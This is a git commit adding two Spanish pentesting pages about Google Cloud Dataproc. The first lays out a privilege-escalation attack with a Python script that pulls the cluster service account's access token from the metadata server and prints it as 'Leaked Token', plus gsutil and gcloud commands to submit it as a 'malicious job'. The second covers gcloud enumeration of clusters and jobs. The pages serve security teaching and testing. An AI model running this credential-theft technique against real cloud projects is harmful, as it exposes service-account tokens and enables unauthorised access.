Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-01-26 21:46:22 +00:00
parent 81a0c21032
commit 97abf38e7a
2 changed files with 97 additions and 0 deletions

View File

@@ -0,0 +1,54 @@
# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataproc
{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
No pude obtener un shell inverso utilizando este método, sin embargo, es posible filtrar el token de SA desde el endpoint de metadatos utilizando el método descrito a continuación.
#### Pasos para explotar
- Coloca el script del trabajo en el GCP Bucket
- Envía un trabajo a un clúster de Dataproc.
- Usa el trabajo para acceder al servidor de metadatos.
- Filtra el token de la cuenta de servicio utilizado por el clúster.
```python
import requests
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}
def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None
if __name__ == "__main__":
fetch_metadata_token()
```
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# GCP - Dataproc Enum
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
Google Cloud Dataproc es un servicio completamente gestionado para ejecutar Apache Spark, Apache Hadoop, Apache Flink y otros marcos de big data. Se utiliza principalmente para procesamiento de datos, consultas, aprendizaje automático y análisis de flujo. Dataproc permite a las organizaciones crear clústeres para computación distribuida con facilidad, integrándose sin problemas con otros servicios de Google Cloud Platform (GCP) como Cloud Storage, BigQuery y Cloud Monitoring.
Los clústeres de Dataproc se ejecutan en máquinas virtuales (VMs), y la cuenta de servicio asociada con estas VMs determina los permisos y el nivel de acceso del clúster.
## Componentes
Un clúster de Dataproc típicamente incluye:
Nodo Maestro: Gestiona los recursos del clúster y coordina las tareas distribuidas.
Nodos Trabajadores: Ejecutan tareas distribuidas.
Cuentas de Servicio: Manejan llamadas a la API y acceden a otros servicios de GCP.
## Enumeración
Los clústeres, trabajos y configuraciones de Dataproc pueden ser enumerados para recopilar información sensible, como cuentas de servicio, permisos y posibles configuraciones incorrectas.
### Enumeración de Clústeres
Para enumerar clústeres de Dataproc y recuperar sus detalles:
```
gcloud dataproc clusters list --region=<region>
gcloud dataproc clusters describe <cluster-name> --region=<region>
```
### Enumeración de trabajos
```
gcloud dataproc jobs list --region=<region>
gcloud dataproc jobs describe <job-id> --region=<region>
```
### Privesc
{{#ref}}
../gcp-privilege-escalation/gcp-dataproc-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}